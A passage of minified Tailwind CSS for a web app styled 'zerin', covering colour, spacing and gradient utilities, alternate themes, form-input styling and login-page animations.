1))}.bg-green-500\/40{background-color:#22c55e66}.bg-orange-500{--tw-bg-opacity: 1;background-color:rgb(249 115 22 / var(--tw-bg-opacity, 1))}.bg-orange-500\/10{background-color:#f973161a}.bg-orange-500\/15{background-color:#f9731626}.bg-orange-500\/20{background-color:#f9731633}.bg-purple-500\/10{background-color:#a855f71a}.bg-purple-600{--tw-bg-opacity: 1;background-color:rgb(147 51 234 / var(--tw-bg-opacity, 1))}.bg-red-400{--tw-bg-opacity: 1;background-color:rgb(248 113 113 / var(--tw-bg-opacity, 1))}.bg-red-500{--tw-bg-opacity: 1;background-color:rgb(239 68 68 / var(--tw-bg-opacity, 1))}.bg-red-500\/10{background-color:#ef44441a}.bg-red-500\/20{background-color:#ef444433}.bg-red-500\/5{background-color:#ef44440d}.bg-red-500\/60{background-color:#ef444499}.bg-transparent{background-color:transparent}.bg-white{--tw-bg-opacity: 1;background-color:rgb(255 255 255 / var(--tw-bg-opacity, 1))}.bg-yellow-500{--tw-bg-opacity: 1;background-color:rgb(234 179 8 / var(--tw-bg-opacity, 1))}.bg-yellow-500\/40{background-color:#eab30866}.bg-zerin-accent{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))}.bg-zerin-accent-muted{background-color:#06b6d41a}.bg-zerin-accent-muted\/30{background-color:#06b6d44d}.bg-zerin-accent-muted\/40{background-color:#06b6d466}.bg-zerin-accent-muted\/60{background-color:#06b6d499}.bg-zerin-accent\/10{background-color:#06b6d41a}.bg-zerin-accent\/15{background-color:#06b6d426}.bg-zerin-accent\/20{background-color:#06b6d433}.bg-zerin-accent\/5{background-color:#06b6d40d}.bg-zerin-accent\/50{background-color:#06b6d480}.bg-zerin-accent\/60{background-color:#06b6d499}.bg-zerin-bg{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1))}.bg-zerin-bg-alt{--tw-bg-opacity: 1;background-color:rgb(12 12 14 / var(--tw-bg-opacity, 1))}.bg-zerin-bg\/50{background-color:#09090b80}.bg-zerin-danger{--tw-bg-opacity: 1;background-color:rgb(239 68 68 / var(--tw-bg-opacity, 1))}.bg-zerin-danger-dim{background-color:#ef444414}.bg-zerin-danger\/10{background-color:#ef44441a}.bg-zerin-panel{--tw-bg-opacity: 1;background-color:rgb(17 17 19 / var(--tw-bg-opacity, 1))}.bg-zerin-panel-border{--tw-bg-opacity: 1;background-color:rgb(31 31 35 / var(--tw-bg-opacity, 1))}.bg-zerin-panel-hover{--tw-bg-opacity: 1;background-color:rgb(24 24 27 / var(--tw-bg-opacity, 1))}.bg-zerin-panel\/40{background-color:#11111366}.bg-zerin-panel\/50{background-color:#11111380}.bg-zerin-panel\/60{background-color:#11111399}.bg-zerin-panel\/95{background-color:#111113f2}.bg-zerin-text-muted\/40{background-color:#52525b66}.bg-zinc-400{--tw-bg-opacity: 1;background-color:rgb(161 161 170 / var(--tw-bg-opacity, 1))}.bg-zinc-400\/10{background-color:#a1a1aa1a}.bg-zinc-500{--tw-bg-opacity: 1;background-color:rgb(113 113 122 / var(--tw-bg-opacity, 1))}.bg-zinc-500\/10{background-color:#71717a1a}.bg-zinc-500\/15{background-color:#71717a26}.bg-zinc-600{--tw-bg-opacity: 1;background-color:rgb(82 82 91 / var(--tw-bg-opacity, 1))}.bg-zinc-700{--tw-bg-opacity: 1;background-color:rgb(63 63 70 / var(--tw-bg-opacity, 1))}.bg-zinc-800{--tw-bg-opacity: 1;background-color:rgb(39 39 42 / var(--tw-bg-opacity, 1))}.bg-gradient-to-b{background-image:linear-gradient(to bottom,var(--tw-gradient-stops))}.bg-gradient-to-r{background-image:linear-gradient(to right,var(--tw-gradient-stops))}.from-emerald-400{--tw-gradient-from: #34d399 var(--tw-gradient-from-position);--tw-gradient-to: rgb(52 211 153 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-emerald-500{--tw-gradient-from: #10b981 var(--tw-gradient-from-position);--tw-gradient-to: rgb(16 185 129 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-transparent{--tw-gradient-from: transparent var(--tw-gradient-from-position);--tw-gradient-to: rgb(0 0 0 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent{--tw-gradient-from: #06B6D4 var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent\/20{--tw-gradient-from: rgb(6 182 212 / .2) var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent\/30{--tw-gradient-from: rgb(6 182 212 / .3) var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent\/50{--tw-gradient-from: rgb(6 182 212 / .5) var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.via-\[\#1a1a22\]{--tw-gradient-to: rgb(26 26 34 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), #1a1a22 var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-cyan-300{--tw-gradient-to: rgb(103 232 249 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), #67e8f9 var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-emerald-500\/30{--tw-gradient-to: rgb(16 185 129 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), rgb(16 185 129 / .3) var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-red-500\/20{--tw-gradient-to: rgb(239 68 68 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), rgb(239 68 68 / .2) var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-transparent{--tw-gradient-to: rgb(0 0 0 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), transparent var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-white\/20{--tw-gradient-to: rgb(255 255 255 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), rgb(255 255 255 / .2) var(--tw-gradient-via-position), var(--tw-gradient-to)}.to-cyan-300{--tw-gradient-to: #67e8f9 var(--tw-gradient-to-position)}.to-emerald-400{--tw-gradient-to: #34d399 var(--tw-gradient-to-position)}.to-transparent{--tw-gradient-to: transparent var(--tw-gradient-to-position)}.to-zerin-accent{--tw-gradient-to: #06B6D4 var(--tw-gradient-to-position)}.to-zerin-accent\/10{--tw-gradient-to: rgb(6 182 212 / .1) var(--tw-gradient-to-position)}.bg-clip-text{-webkit-background-clip:text;background-clip:text}.object-contain{-o-object-fit:contain;object-fit:contain}.object-cover{-o-object-fit:cover;object-fit:cover}.p-10{padding:2.5rem}.p-2{padding:.5rem}.p-2\.5{padding:.625rem}.p-3{padding:.75rem}.p-4{padding:1rem}.p-5{padding:1.25rem}.p-6{padding:1.5rem}.p-8{padding:2rem}.px-1{padding-left:.25rem;padding-right:.25rem}.px-1\.5{padding-left:.375rem;padding-right:.375rem}.px-10{padding-left:2.5rem;padding-right:2.5rem}.px-2{padding-left:.5rem;padding-right:.5rem}.px-2\.5{padding-left:.625rem;padding-right:.625rem}.px-3{padding-left:.75rem;padding-right:.75rem}.px-4{padding-left:1rem;padding-right:1rem}.px-5{padding-left:1.25rem;padding-right:1.25rem}.px-6{padding-left:1.5rem;padding-right:1.5rem}.px-7{padding-left:1.75rem;padding-right:1.75rem}.px-8{padding-left:2rem;padding-right:2rem}.py-0\.5{padding-top:.125rem;padding-bottom:.125rem}.py-1{padding-top:.25rem;padding-bottom:.25rem}.py-1\.5{padding-top:.375rem;padding-bottom:.375rem}.py-12{padding-top:3rem;padding-bottom:3rem}.py-16{padding-top:4rem;padding-bottom:4rem}.py-2{padding-top:.5rem;padding-bottom:.5rem}.py-2\.5{padding-top:.625rem;padding-bottom:.625rem}.py-20{padding-top:5rem;padding-bottom:5rem}.py-24{padding-top:6rem;padding-bottom:6rem}.py-28{padding-top:7rem;padding-bottom:7rem}.py-3{padding-top:.75rem;padding-bottom:.75rem}.py-3\.5{padding-top:.875rem;padding-bottom:.875rem}.py-32{padding-top:8rem;padding-bottom:8rem}.py-4{padding-top:1rem;padding-bottom:1rem}.py-5{padding-top:1.25rem;padding-bottom:1.25rem}.py-6{padding-top:1.5rem;padding-bottom:1.5rem}.py-8{padding-top:2rem;padding-bottom:2rem}.py-\[7px\]{padding-top:7px;padding-bottom:7px}.pb-0{padding-bottom:0}.pb-1{padding-bottom:.25rem}.pb-16{padding-bottom:4rem}.pb-2{padding-bottom:.5rem}.pb-3{padding-bottom:.75rem}.pb-4{padding-bottom:1rem}.pl-0{padding-left:0}.pl-3{padding-left:.75rem}.pl-4{padding-left:1rem}.pl-8{padding-left:2rem}.pr-3{padding-right:.75rem}.pt-1{padding-top:.25rem}.pt-2{padding-top:.5rem}.pt-3{padding-top:.75rem}.pt-32{padding-top:8rem}.pt-4{padding-top:1rem}.pt-6{padding-top:1.5rem}.pt-\[15vh\]{padding-top:15vh}.text-left{text-align:left}.text-center{text-align:center}.text-right{text-align:right}.font-display{font-family:var(--font-display),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif}.font-mono{font-family:var(--font-mono),"Cascadia Code","Consolas","SF Mono","Liberation Mono","Menlo",monospace}.font-sans{font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif}.text-2xl{font-size:1.5rem;line-height:2rem}.text-3xl{font-size:1.875rem;line-height:2.25rem}.text-4xl{font-size:2.25rem;line-height:2.5rem}.text-5xl{font-size:3rem;line-height:1}.text-\[10px\]{font-size:10px}.text-\[11px\]{font-size:11px}.text-\[12px\]{font-size:12px}.text-\[13px\]{font-size:13px}.text-\[14px\]{font-size:14px}.text-\[15px\]{font-size:15px}.text-\[22px\]{font-size:22px}.text-\[8px\]{font-size:8px}.text-\[9px\]{font-size:9px}.text-base{font-size:1rem;line-height:1.5rem}.text-lg{font-size:1.125rem;line-height:1.75rem}.text-sm{font-size:.875rem;line-height:1.25rem}.text-xl{font-size:1.25rem;line-height:1.75rem}.text-xs{font-size:.75rem;line-height:1rem}.font-bold{font-weight:700}.font-medium{font-weight:500}.font-normal{font-weight:400}.font-semibold{font-weight:600}.uppercase{text-transform:uppercase}.lowercase{text-transform:lowercase}.capitalize{text-transform:capitalize}.tabular-nums{--tw-numeric-spacing: tabular-nums;font-variant-numeric:var(--tw-ordinal) var(--tw-slashed-zero) var(--tw-numeric-figure) var(--tw-numeric-spacing) var(--tw-numeric-fraction)}.leading-\[0\.95\]{line-height:.95}.leading-\[1\.8\]{line-height:1.8}.leading-\[1\.9\]{line-height:1.9}.leading-none{line-height:1}.leading-relaxed{line-height:1.625}.leading-tight{line-height:1.25}.tracking-\[0\.15em\]{letter-spacing:.15em}.tracking-\[0\.2em\]{letter-spacing:.2em}.tracking-\[0\.3em\]{letter-spacing:.3em}.tracking-tight{letter-spacing:-.025em}.tracking-wide{letter-spacing:.025em}.tracking-wider{letter-spacing:.05em}.tracking-widest{letter-spacing:.1em}.text-\[\#00F0FF\]{--tw-text-opacity: 1;color:rgb(0 240 255 / var(--tw-text-opacity, 1))}.text-\[\#04040a\]{--tw-text-opacity: 1;color:rgb(4 4 10 / var(--tw-text-opacity, 1))}.text-\[\#3a3a44\]{--tw-text-opacity: 1;color:rgb(58 58 68 / var(--tw-text-opacity, 1))}.text-\[\#4a4a54\]{--tw-text-opacity: 1;color:rgb(74 74 84 / var(--tw-text-opacity, 1))}.text-\[\#b0b0b8\]{--tw-text-opacity: 1;color:rgb(176 176 184 / var(--tw-text-opacity, 1))}.text-\[\#ef4444\]\/80{color:#ef4444cc}.text-\[\#ff69b4\]{--tw-text-opacity: 1;color:rgb(255 105 180 / var(--tw-text-opacity, 1))}.text-amber-400{--tw-text-opacity: 1;color:rgb(251 191 36 / var(--tw-text-opacity, 1))}.text-amber-400\/60{color:#fbbf2499}.text-amber-400\/80{color:#fbbf24cc}.text-amber-400\/90{color:#fbbf24e6}.text-black{--tw-text-opacity: 1;color:rgb(0 0 0 / var(--tw-text-opacity, 1))}.text-blue-300{--tw-text-opacity: 1;color:rgb(147 197 253 / var(--tw-text-opacity, 1))}.text-blue-400{--tw-text-opacity: 1;color:rgb(96 165 250 / var(--tw-text-opacity, 1))}.text-cyan-300{--tw-text-opacity: 1;color:rgb(103 232 249 / var(--tw-text-opacity, 1))}.text-cyan-400{--tw-text-opacity: 1;color:rgb(34 211 238 / var(--tw-text-opacity, 1))}.text-emerald-400{--tw-text-opacity: 1;color:rgb(52 211 153 / var(--tw-text-opacity, 1))}.text-emerald-400\/60{color:#34d39999}.text-emerald-400\/70{color:#34d399b3}.text-emerald-400\/80{color:#34d399cc}.text-emerald-400\/90{color:#34d399e6}.text-gray-300{--tw-text-opacity: 1;color:rgb(209 213 219 / var(--tw-text-opacity, 1))}.text-orange-300{--tw-text-opacity: 1;color:rgb(253 186 116 / var(--tw-text-opacity, 1))}.text-orange-400{--tw-text-opacity: 1;color:rgb(251 146 60 / var(--tw-text-opacity, 1))}.text-purple-400{--tw-text-opacity: 1;color:rgb(192 132 252 / var(--tw-text-opacity, 1))}.text-red-300{--tw-text-opacity: 1;color:rgb(252 165 165 / var(--tw-text-opacity, 1))}.text-red-400{--tw-text-opacity: 1;color:rgb(248 113 113 / var(--tw-text-opacity, 1))}.text-red-400\/60{color:#f8717199}.text-red-400\/70{color:#f87171b3}.text-red-400\/80{color:#f87171cc}.text-transparent{color:transparent}.text-white{--tw-text-opacity: 1;color:rgb(255 255 255 / var(--tw-text-opacity, 1))}.text-yellow-300{--tw-text-opacity: 1;color:rgb(253 224 71 / var(--tw-text-opacity, 1))}.text-yellow-400{--tw-text-opacity: 1;color:rgb(250 204 21 / var(--tw-text-opacity, 1))}.text-zerin-accent{--tw-text-opacity: 1;color:rgb(6 182 212 / var(--tw-text-opacity, 1))}.text-zerin-accent\/40{color:#06b6d466}.text-zerin-accent\/50{color:#06b6d480}.text-zerin-accent\/60{color:#06b6d499}.text-zerin-accent\/70{color:#06b6d4b3}.text-zerin-accent\/80{color:#06b6d4cc}.text-zerin-danger{--tw-text-opacity: 1;color:rgb(239 68 68 / var(--tw-text-opacity, 1))}.text-zerin-text{--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.text-zerin-text-dim{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.text-zerin-text-dim\/80{color:#a1a1aacc}.text-zerin-text-muted{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.text-zerin-text-muted\/25{color:#52525b40}.text-zerin-text-muted\/30{color:#52525b4d}.text-zerin-text-muted\/40{color:#52525b66}.text-zerin-text-muted\/50{color:#52525b80}.text-zerin-text-muted\/60{color:#52525b99}.text-zerin-text-muted\/80{color:#52525bcc}.text-zinc-300{--tw-text-opacity: 1;color:rgb(212 212 216 / var(--tw-text-opacity, 1))}.text-zinc-400{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.text-zinc-500{--tw-text-opacity: 1;color:rgb(113 113 122 / var(--tw-text-opacity, 1))}.text-zinc-600{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.text-zinc-700{--tw-text-opacity: 1;color:rgb(63 63 70 / var(--tw-text-opacity, 1))}.underline{text-decoration-line:underline}.line-through{text-decoration-line:line-through}.decoration-zerin-danger\/60{text-decoration-color:#ef444499}.underline-offset-2{text-underline-offset:2px}.placeholder-\[\#3a3a44\]::-moz-placeholder{--tw-placeholder-opacity: 1;color:rgb(58 58 68 / var(--tw-placeholder-opacity, 1))}.placeholder-\[\#3a3a44\]::placeholder{--tw-placeholder-opacity: 1;color:rgb(58 58 68 / var(--tw-placeholder-opacity, 1))}.placeholder-zerin-text-muted::-moz-placeholder{--tw-placeholder-opacity: 1;color:rgb(82 82 91 / var(--tw-placeholder-opacity, 1))}.placeholder-zerin-text-muted::placeholder{--tw-placeholder-opacity: 1;color:rgb(82 82 91 / var(--tw-placeholder-opacity, 1))}.placeholder-zerin-text-muted\/40::-moz-placeholder{color:#52525b66}.placeholder-zerin-text-muted\/40::placeholder{color:#52525b66}.accent-amber-500{accent-color:#f59e0b}.accent-zerin-accent{accent-color:#06B6D4}.opacity-0{opacity:0}.opacity-100{opacity:1}.opacity-25{opacity:.25}.opacity-30{opacity:.3}.opacity-40{opacity:.4}.opacity-50{opacity:.5}.opacity-60{opacity:.6}.opacity-75{opacity:.75}.opacity-90{opacity:.9}.opacity-\[0\.03\]{opacity:.03}.shadow-2xl{--tw-shadow: 0 25px 50px -12px rgb(0 0 0 / .25);--tw-shadow-colored: 0 25px 50px -12px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-lg{--tw-shadow: 0 10px 15px -3px rgb(0 0 0 / .1), 0 4px 6px -4px rgb(0 0 0 / .1);--tw-shadow-colored: 0 10px 15px -3px var(--tw-shadow-color), 0 4px 6px -4px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-xl{--tw-shadow: 0 20px 25px -5px rgb(0 0 0 / .1), 0 8px 10px -6px rgb(0 0 0 / .1);--tw-shadow-colored: 0 20px 25px -5px var(--tw-shadow-color), 0 8px 10px -6px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-black\/40{--tw-shadow-color: rgb(0 0 0 / .4);--tw-shadow: var(--tw-shadow-colored)}.shadow-black\/60{--tw-shadow-color: rgb(0 0 0 / .6);--tw-shadow: var(--tw-shadow-colored)}.outline-none{outline:2px solid transparent;outline-offset:2px}.ring{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(3px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.blur{--tw-blur: blur(8px);filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.blur-sm{--tw-blur: blur(4px);filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.drop-shadow-\[0_0_40px_rgba\(6\,182\,212\,0\.4\)\]{--tw-drop-shadow: drop-shadow(0 0 40px rgba(6,182,212,.4));filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.invert{--tw-invert: invert(100%);filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.filter{filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.backdrop-blur-sm{--tw-backdrop-blur: blur(4px);-webkit-backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia);backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia)}.backdrop-blur-xl{--tw-backdrop-blur: blur(24px);-webkit-backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia);backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia)}.transition-all{transition-property:all;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-colors{transition-property:color,background-color,border-color,text-decoration-color,fill,stroke;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-opacity{transition-property:opacity;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-transform{transition-property:transform;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.duration-100{transition-duration:.1s}.duration-1000{transition-duration:1s}.duration-150{transition-duration:.15s}.duration-200{transition-duration:.2s}.duration-300{transition-duration:.3s}.duration-500{transition-duration:.5s}.duration-700{transition-duration:.7s}.duration-75{transition-duration:75ms}.ease-in-out{transition-timing-function:cubic-bezier(.4,0,.2,1)}.ease-out{transition-timing-function:cubic-bezier(0,0,.2,1)}.\[appearance\:textfield\]{-webkit-appearance:textfield;-moz-appearance:textfield;appearance:textfield}.\[color-scheme\:dark\]{color-scheme:dark}*{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1));font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif;--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.femboy-theme body{background-color:var(--fem-bg);color:var(--fem-text)}.synthwave-theme body{background-color:var(--synth-bg);color:var(--synth-text)}.synthwave-theme body.font-display{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff,#b026ff);-webkit-background-clip:text;-webkit-text-fill-color:transparent;background-clip:text;filter:drop-shadow(0 0 8px rgba(255,45,149,.4))}body.app-layout{overflow:hidden}#root{height:100vh;width:100vw}::-moz-selection{background:#06b6d44d;color:#fafafa}::selection{background:#06b6d44d;color:#fafafa}.custom-scrollbar::-webkit-scrollbar{width:6px;height:6px}.custom-scrollbar::-webkit-scrollbar-track{background:transparent}.custom-scrollbar::-webkit-scrollbar-thumb{background:#27272a;border-radius:3px}.custom-scrollbar::-webkit-scrollbar-thumb:hover{background:#3f3f46}.custom-scrollbar{scrollbar-width:thin;scrollbar-color:#27272A transparent}:focus-visible{outline:2px solid rgba(6,182,212,.5);outline-offset:2px}.form-input{width:100%;border-radius:.125rem;border-width:1px;--tw-border-opacity: 1;border-color:rgb(31 31 35 / var(--tw-border-opacity, 1));--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1));padding:.625rem .75rem;font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif;font-size:.875rem;line-height:1.25rem;--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1));transition-property:all;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.femboy-theme .form-input{background-color:var(--fem-bg);color:var(--fem-text);border-color:var(--fem-border)}.femboy-theme .form-input:focus{border-color:var(--fem-accent);--tw-ring-color: rgba(255, 105, 180, .3)}.synthwave-theme .form-input{background-color:var(--synth-bg);color:var(--synth-text);border-color:var(--synth-border)}.synthwave-theme .form-input:focus{border-color:var(--synth-cyan);--tw-ring-color: rgba(0, 240, 255, .3)}.synthwave-theme .form-input{box-shadow:inset 0 0 0 .5px #ff2d950d}.synthwave-theme .font-display.form-input{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff,#b026ff);-webkit-background-clip:text;-webkit-text-fill-color:transparent;background-clip:text;filter:drop-shadow(0 0 8px rgba(255,45,149,.4))}.form-input:focus{--tw-border-opacity: 1;border-color:rgb(6 182 212 / var(--tw-border-opacity, 1));outline:2px solid transparent;outline-offset:2px;--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000);--tw-ring-color: rgb(6 182 212 / .3)}.form-input::-moz-placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.form-input::placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.femboy-theme .form-input::-moz-placeholder{color:var(--fem-text-muted)}.femboy-theme .form-input::placeholder{color:var(--fem-text-muted)}.synthwave-theme .form-input::-moz-placeholder{color:var(--synth-text-muted)}.synthwave-theme .form-input::placeholder{color:var(--synth-text-muted)}select.form-input{cursor:pointer;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 20 20'%3E%3Cpath stroke='%2352525B' stroke-linecap='round' stroke-linejoin='round' stroke-width='1.5' d='M6 8l4 4 4-4'/%3E%3C/svg%3E");background-position:right .5rem center;background-repeat:no-repeat;background-size:1.5em 1.5em;padding-right:2.5rem;-webkit-appearance:none;-moz-appearance:none;appearance:none}.animate-slide-up,.animate-fade-in{animation-fill-mode:forwards}@keyframes landingScanBar{0%{width:0%}to{width:100%}}.landing-scan-bar{animation:landingScanBar 2s cubic-bezier(.4,0,.2,1) forwards}@keyframes landingScanRowIn{0%{opacity:0;transform:translate(-8px)}to{opacity:1;transform:translate(0)}}.landing-scan-row{opacity:0;animation:landingScanRowIn .3s ease-out forwards}@keyframes ctxSubmenuIn{0%{opacity:0;transform:translate(-4px)}to{opacity:1;transform:translate(0)}}.ctx-submenu-in{animation:ctxSubmenuIn .12s ease-out}a,button{transition-property:color,background-color,border-color,box-shadow,opacity;transition-duration:.15s;transition-timing-function:cubic-bezier(.4,0,.2,1)}@keyframes authReveal{0%{opacity:0;transform:translateY(16px)}to{opacity:1;transform:translateY(0)}}.auth-stagger-1,.auth-stagger-2,.auth-stagger-3,.auth-stagger-4,.auth-stagger-5,.auth-stagger-6,.auth-stagger-7,.auth-stagger-8{opacity:0;animation:authReveal .5s cubic-bezier(.16,1,.3,1) forwards}.auth-stagger-1{animation-delay:0ms}.auth-stagger-2{animation-delay:.1s}.auth-stagger-3{animation-delay:.2s}.auth-stagger-4{animation-delay:.28s}.auth-stagger-5{animation-delay:.36s}.auth-stagger-6{animation-delay:.44s}.auth-stagger-7{animation-delay:.52s}.auth-stagger-8{animation-delay:.6s}@keyframes authBreathe{0%,to{transform:translateY(0)}50%{transform:translateY(-3px)}}.auth-breathe{animation:authBreathe 4s ease-in-out infinite}@keyframes authBadgeGlow{0%,to{box-shadow:0 0 4px #06b6d41a,inset 0 0 4px #06b6d40d;border-color:#06b6d44d}50%{box-shadow:0 0 12px #06b6d440,inset 0 0 8px #06b6d41a;border-color:#06b6d480}}.auth-badge-glow{animation:authBadgeGlow 3s ease-in-out infinite}.auth-card{position:relative;background:#111113;border:1px solid #1F1F23;padding:1.75rem;overflow:hidden;transition:border-color .3s ease}.auth-card:hover{border-color:#06b6d426}.auth-corner{position:absolute;width:14px;height:14px;pointer-events:none;z-index:5}.auth-corner-tl{top:-1px;left:-1px;border-top:2px solid rgba(6,182,212,.5);border-left:2px solid rgba(6,182,212,.5)}.auth-corner-tr{top:-1px;right:-1px;border-top:2px solid rgba(6,182,212,.5);border-right:2px solid rgba(6,182,212,.5)}.auth-corner-bl{bottom:-1px;left:-1px;border-bottom:2px solid rgba(6,182,212,.5);border-left:2px solid rgba(6,182,212,.5)}.auth-corner-br{bottom:-1px;right:-1px;border-bottom:2px solid rgba(6,182,212,.5);border-right:2px solid rgba(6,182,212,.5)}@keyframes authScanline{0%{top:-2px;opacity:0}5%{opacity:1}95%{opacity:1}to{top:100%;opacity:0}}.auth-scanline{position:absolute;left:0;right:0;height:1px;background:linear-gradient(90deg,transparent 0%,rgba(6,182,212,.3) 20%,rgba(6,182,212,.5) 50%,rgba(6,182,212,.3) 80%,transparent 100%);box-shadow:0 0 8px #06b6d426;z-index:4;pointer-events:none;animation:authScanline 4s ease-in-out infinite}.auth-input-wrap{position:relative}.auth-input-wrap:before{content:"";position:absolute;left:0;top:4px;bottom:4px;width:2px;background:transparent;transition:background .2s ease,box-shadow .2s ease;z-index:2;border-radius:1px}.auth-input-wrap:focus-within:before{background:#06b6d4;box-shadow:0 0 8px #06b6d466}.auth-input{width:100%;background:#09090b;border:1px solid 